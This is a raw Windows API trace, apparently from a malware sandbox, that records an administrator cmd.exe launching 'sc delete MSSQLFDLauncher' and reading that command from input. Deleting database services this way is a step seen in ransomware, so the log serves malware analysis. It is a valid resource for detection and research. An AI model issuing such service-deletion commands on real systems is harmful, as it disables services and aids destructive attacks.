0x1c5b70 [0064.174] GetProcessHeap () returned 0x1b0000 [0064.174] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0064.174] GetProcessHeap () returned 0x1b0000 [0064.174] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0064.174] GetProcessHeap () returned 0x1b0000 [0064.174] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0064.174] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0064.174] GetProcessHeap () returned 0x1b0000 [0064.174] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0064.174] GetProcessHeap () returned 0x1b0000 [0064.174] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0064.175] GetProcessHeap () returned 0x1b0000 [0064.175] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0064.175] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0064.175] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0064.175] GetLastError () returned 0x2 [0064.175] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0064.175] GetLastError () returned 0x2 [0064.175] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0064.175] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0064.175] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0064.175] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0064.175] GetLastError () returned 0x2 [0064.176] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0064.176] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0064.176] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0064.176] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0064.176] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0064.176] GetProcessHeap () returned 0x1b0000 [0064.176] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0064.176] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0064.176] GetProcessHeap () returned 0x1b0000 [0064.176] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0xac) returned 0x1c9180 [0064.176] GetProcessHeap () returned 0x1b0000 [0064.176] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0xac [0064.176] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete MSSQLFDLauncher") returned 1 [0064.177] GetProcessHeap () returned 0x1b0000 [0064.177] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0064.177] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0064.177] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0064.177] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0064.177] GetProcessHeap () returned 0x1b0000 [0064.177] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0064.177] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0064.177] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0064.177] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0064.177] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0064.177] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0064.177] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0064.177] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0064.177] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0064.177] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0064.177] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0064.177] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0064.177] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0064.177] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0064.177] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0064.177] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0064.177] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0064.177] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0064.177] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0064.177] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0064.177] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0064.178] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0064.178] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0064.178] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0064.178] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0064.178] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0064.178] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0064.178] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0064.178] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0064.178] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0064.178] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0064.178] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0064.178] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0064.178] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0064.178] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0064.178] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0064.178] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0064.178] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0064.178] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0064.178] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0064.178] GetProcessHeap () returned 0x1b0000 [0064.178] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0064.178] GetProcessHeap () returned 0x1b0000 [0064.178] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0064.178] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete MSSQLFDLauncher", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete MSSQLFDLauncher", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete MSSQLFDLauncher", lpProcessInformation=0x14ee20*(hProcess=0x54, hThread=0x50, dwProcessId=0x8b8, dwThreadId=0x8c8)) returned 1 [0064.181] CloseHandle (hObject=0x50) returned 1 [0064.181] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0064.181] GetProcessHeap () returned 0x1b0000 [0064.181] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d1b10 | out: hHeap=0x1b0000) returned 1 [0064.181] GetEnvironmentStringsW () returned 0x1d1b10* [0064.181] GetProcessHeap () returned 0x1b0000 [0064.182] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0064.182] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0064.182] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0064.182] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdf000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0064.182] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0064.229] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0064.229] CloseHandle (hObject=0x54) returned 1 [0064.229] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0064.229] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0064.229] GetProcessHeap () returned 0x1b0000 [0064.229] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0064.229] GetEnvironmentStringsW () returned 0x1d1b10* [0064.229] GetProcessHeap () returned 0x1b0000 [0064.229] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0064.229] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0064.229] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0064.229] GetProcessHeap () returned 0x1b0000 [0064.229] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0064.229] GetEnvironmentStringsW () returned 0x1d1b10* [0064.229] GetProcessHeap () returned 0x1b0000 [0064.229] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0064.230] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0064.230] GetProcessHeap () returned 0x1b0000 [0064.230] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0064.230] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0064.230] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0064.230] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.230] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0064.230] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.230] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0064.230] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.230] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0064.231] GetConsoleOutputCP () returned 0x1b5 [0064.231] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0064.231] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0064.231] GetProcessHeap () returned 0x1b0000 [0064.231] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0064.231] GetProcessHeap () returned 0x1b0000 [0064.231] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0064.231] GetProcessHeap () returned 0x1b0000 [0064.231] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0064.231] GetProcessHeap () returned 0x1b0000 [0064.231] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0064.231] GetProcessHeap () returned 0x1b0000 [0064.231] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa90 | out: hHeap=0x1b0000) returned 1 [0064.231] GetProcessHeap () returned 0x1b0000 [0064.231] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0064.231] GetProcessHeap () returned 0x1b0000 [0064.231] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa40 | out: hHeap=0x1b0000) returned 1 [0064.231] GetProcessHeap () returned 0x1b0000 [0064.231] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0064.231] GetProcessHeap () returned 0x1b0000 [0064.231] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c97e0 | out: hHeap=0x1b0000) returned 1 [0064.231] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0064.231] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.231] GetFileType (hFile=0x120) returned 0x3 [0064.231] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.231] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0064.232] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0064.232] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0064.232] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0064.232] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0064.232] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0064.232] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.232] GetFileType (hFile=0x120) returned 0x3 [0064.232] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.232] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0064.232] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0064.232] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.232] GetFileType (hFile=0xb8) returned 0x3 [0064.232] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.232] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.232] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.232] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete MSSQLFDLauncher\nce\n") returned 1 [0064.232] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.232] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.232] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.232] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete MSSQLFDLauncher\nce\n") returned 1 [0064.232] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.233] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.233] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.233] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete MSSQLFDLauncher\nce\n") returned 1 [0064.233] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.233] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.233] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.233] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete MSSQLFDLauncher\nce\n") returned 1 [0064.233] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.233] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.233] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.233] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete MSSQLFDLauncher\nce\n") returned 1 [0064.233] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.233] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.233] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.233] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete MSSQLFDLauncher\nce\n") returned 1 [0064.233] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.233] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.233] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.235] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete MSSQLFDLauncher\nce\n") returned 1 [0064.235] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.235] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.235] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.235] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te MSSQLFDLauncher\nce\n") returned 1 [0064.235] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.235] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.235] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.235] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e MSSQLFDLauncher\nce\n") returned 1 [0064.235] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.235] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.235] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.235] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" MSSQLFDLauncher\nce\n") returned 1 [0064.235] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.235] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.235] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.236] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="MSSQLFDLauncher\nce\n") returned 1 [0064.236] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.236] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.236] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.236] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="SSQLFDLauncher\nce\n") returned 1 [0064.236] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.236] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.236] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.236] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: 